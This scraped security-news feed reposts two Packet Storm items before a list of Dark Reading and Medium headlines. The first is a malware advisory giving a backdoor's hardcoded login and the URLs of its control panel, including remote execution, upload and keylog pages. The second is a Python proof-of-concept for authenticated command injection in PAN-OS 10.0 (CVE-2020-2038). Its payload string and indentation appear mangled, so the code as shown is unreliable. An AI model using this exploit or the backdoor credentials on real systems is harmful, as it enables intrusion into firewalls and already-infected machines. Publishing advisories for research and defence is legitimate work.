Exploit Collector
Backdoor.Win32.Guptachar.20 MVID-2022-0631 Insecure Credential Storage

https://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png
Backdoor.Win32.Guptachar.20 malware suffers from an insecure credential storage vulnerability.

SHA-256 | e3369625a4e3f23a7d0dca07bf0660807db452941c0e93d8a5ede6f3641451dc

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/857999d2306f257b80d1b8f6a51ae8b0.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Guptachar.20
Vulnerability: Insecure Credential Storage
Description: The malware runs a web server on TCP port 2015 (default) and uses BASIC authentication. The credentials "hacker01:imchampgr8" get stored in a .NFO information file named "GPTCR.NFO" under Windows dir base64 encoded and hidden among many junk NULL bytes.
Family: Guptachar
Type: PE32
MD5: 857999d2306f257b80d1b8f6a51ae8b0
Vuln ID: MVID-2022-0631
Dropped files: GPTCR2.exe
Disclosure: 08/08/2022

Exploit/PoC:
import base64
base64.b64decode("aGFja2VyMDE6aW1jaGFtcGdyOA==")
b'hacker01:imchampgr8'

Web URLs available on the infected host.

http://192.168.18.125:2015/execute.html
http://192.168.18.125:2015/browse.html
http://192.168.18.125:2015/upload.html
http://192.168.18.125:2015/screenshot.html
http://192.168.18.125:2015/keylog.html
http://192.168.18.125:2015/display.html
http://192.168.18.125:2015/shutdown.html
http://192.168.18.125:2015/servopts.html
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
PAN-OS 10.0 Remote Code Execution

https://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png
PAN-OS version 10.0 suffers from a remote code execution vulnerability.

SHA-256 | c1282cb5ecd90e16f595092c1707c237e44c6b5bd2c379fcb5da77524df6d2c8

Download
# Exploit Title: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-08-13
# Exploit Author: UnD3sc0n0c1d0
# Software Link: https://security.paloaltonetworks.com/CVE-2020-2038
# Category: Web Application
# Version: <10.0.1,<9.1.4
# Tested on: PAN-OS 10.0 - Parrot OS
# CVE : CVE-2020-2038
#
# Description:
# An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated
# administrators to execute arbitrary OS commands with root privileges.
# More info: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/
# Credits: Mikhail Klyuchnikov and Nikita Abramov of Positive Technologies for discovering and reporting this issue.

#!/usr/bin/env python3

import requests
import urllib3
import sys
import getopt
import xmltodict

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner():
print('\n###########################################################################')
print('# Proof of Concept for CVE-2020-2038 #')
print('# Vulnerability discovered by Mikhail Klyuchnikov and Nikita Abramov of #')
print('# Positive Technologies #')
print('# https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ #')
print('# #')
print('# Exploit by: Juampa Rodríguez (@UnD3sc0n0c1d0) #')
print('###########################################################################')

def exploit(target,user,password,command):
apiparam = {'type': 'keygen', 'user': user, 'password': password}
apiresponse = requests.get(target+'api/', params=apiparam, verify=False)
xmlparse = xmltodict.parse(apiresponse.content)
apikey = xmlparse['response']['result']['key']
payload = '<cms-ping<host8.8.8.8<count1<pattern111'
parameters = {'cmd': payload, 'type': 'op', 'key': apikey}
response = requests.get(target+'api', params=parameters, verify=False)
print(response.text[50:-20])

def usage():
print('\nusage: CVE-2020-2038.py\n\n')
print('arguments:')
print(' -h show this help message and exit')
print(' -t target URL (ex: http://vulnerable.host/)')
print(' -u target administrator user')
print(' -p pasword of the defined user account')
print(' -c command you want to execute on the target\n')

def main(argv):
if len(sys.argv) < 9:
banner()
usage()
sys.exit()
try:
opts, args = getopt.getopt(argv,"ht:u:p:c:")
except getopt.GetoptError:
banner()
usage()
sys.exit()
for opt, arg in opts:
if opt == '-h':
usage()
sys.exit()
if opt == '-t':
target = arg
if opt == '-u':
user = arg
if opt == '-p':
password = arg
if opt == '-c':
command = arg
banner()
exploit(target,user,password,command)
sys.exit()

if __name__ == "__main__":
try:
main(sys.argv[1:])
except KeyboardInterrupt:
print('Interrupted by users...')
except:
sys.exit()

Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
Netscout Arbor Insight Leverages Patented ASI Technology to Enhance Security and Operational Awareness for Network Operators of Any Scale

Extends all aspects of the Arbor Sightline solution with unique, real-time multidimensional DDoS and traffic analytics capabilities.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Russia-Ukraine Conflict Holds Cyberwar Lessons

Initial attacks used damaging wiper malware and targeted infrastructure, but the most enduring impacts will likely be from disinformation, researchers say. At Black Hat USA, SentinelOne's Juan Andres Guerrero-Saade and Tom Hegel will discuss.

Dark Reading: Attacks/Breaches
US Oil and Gas Sector at Risk of a Cyberbreach, According to BreachBits Study

Study offers a cyber "state of the industry" analysis from a hacker's perspective to help companies anticipate attacks.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Domino's Takes a Methodical Approach to IoT

The success of Domino's Flex IoT project can be attributed in large part to the security best practices it followed.

Dark Reading: Attacks/Breaches
Abusing Kerberos for Local Privilege Escalation

Upcoming Black Hat USA presentation will examine the implications of Kerberos weaknesses for security on the local machine.

Dark Reading: Attacks/Breaches
Researchers Debut Fresh RCE Vector for Common Google API Tool

The finding exposes the danger of older, unpatched bugs, which plague at least 4.5 million devices.

Dark Reading: Attacks/Breaches
Halo Security Emerges From Stealth With Full Attack Surface Management Platform

The latest startup to enter the attack surface management space also has a free scanning service to audit the contents of any website.

Dark Reading: Attacks/Breaches
Cybrary Unveils Next-Generation Interactive, Hands-On Training Experience to Upskill Cybersecurity Professionals

New SOC Analyst Assessment delivers threat-informed training in a live lab environment to help cybersecurity professionals defend their organizations against the latest adversarial tactics and techniques.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Microsoft Patches Zero-Day Actively Exploited in the Wild

The computing giant issued a massive Patch Tuesday update, including a pair of remote execution flaws in the Microsoft Support Diagnostic Tool (MSDT) after attackers used one of the vulnerabilities in a zero-day exploit.

Hacking on Medium
I Hacked the BBC and All I Got Was This Awesome T-Shirt

https://cdn-images-1.medium.com/max/2600/1*qoBHoxpZvYOxKuyHO7-ScA.jpeg
Besides the incredibly exciting headline, this is simply a re-telling of my first real bug bounty hunting experience and how you can find…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video